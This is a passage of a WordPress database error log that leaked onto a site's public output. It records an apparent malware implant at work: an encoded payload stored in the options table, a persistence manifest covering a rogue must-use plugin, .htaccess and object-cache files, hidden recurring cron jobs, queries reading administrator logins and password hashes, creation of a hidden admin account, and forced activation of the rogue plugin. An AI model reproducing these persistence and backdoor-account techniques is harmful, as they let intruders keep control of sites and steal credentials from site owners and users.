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', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_oc_dat_ok', '1788697829', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_persist_manifest', 'a:4:{s:87:\"/home/u924082484/domains/hrja.in/public_html/wp-content/mu-plugins/nexus-watcher-hq.php\";s:18:\"5885649|1778393819\";s:59:\"line:/home/u924082484/domains/hrja.in/public_html/.htaccess\";s:30:\"16301|1778393819|0|r1788697829\";s:70:\"line:/home/u924082484/domains/hrja.in/public_html/wp-content/.htaccess\";s:30:\"15498|1778393819|0|r1788697829\";s:77:\"line:/home/u924082484/domains/hrja.in/public_html/wp-content/object-cache.php\";s:13:\"0|r1788697829\";}', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('cron', 'a:2:{i:1788698129;a:1:{s:21:\"rx9y4dsxcjl3m_prw25c3\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:6:\"hourly\";s:4:\"args\";a:0:{}s:8:\"interval\";i:3600;}}}s:7:\"version\";i:2;}', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('cron', 'a:2:{i:1788698429;a:1:{s:13:\"sc_cron_guard\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:17:\"sc_guard_interval\";s:4:\"args\";a:0:{}s:8:\"interval\";i:600;}}}s:7:\"version\";i:2;}', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_recovery_check', '1788697829', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [SELECT command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_users`]
SELECT u.ID, u.user_login, u.user_pass, u.user_email FROM wpid_users u INNER JOIN wpid_usermeta m ON u.ID = m.user_id WHERE m.meta_key = 'wpid_capabilities' AND m.meta_value LIKE '%administrator%'

WordPress database error: [SELECT command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_users`]
SELECT * FROM wpid_users WHERE user_login = 'admin_9562caa78b' LIMIT 1

WordPress database error: [SELECT command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_users`]
SELECT * FROM wpid_users WHERE user_login = 'admin_9562caa78b' LIMIT 1

WordPress database error: [SELECT command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_users`]
SELECT ID FROM wpid_users WHERE user_nicename = 'admin_9562caa78b' AND user_login != 'admin_9562caa78b' LIMIT 1

WordPress database error: [SELECT command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_users`]
SELECT * FROM wpid_users WHERE user_email = 'admin_9562caa78b@hrja.in' LIMIT 1

WordPress database error: [SELECT command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_users`]
SHOW FULL COLUMNS FROM `wpid_users`

WordPress database error: [SELECT command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_users`]
SELECT COUNT(ID) as c FROM wpid_users

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('user_count', '', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [SELECT command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_users`]
SHOW FULL COLUMNS FROM `wpid_users`

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('active_plugins', 'a:1:{i:0;s:37:\"nexus-watcher-hq/nexus-watcher-hq.php\";}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)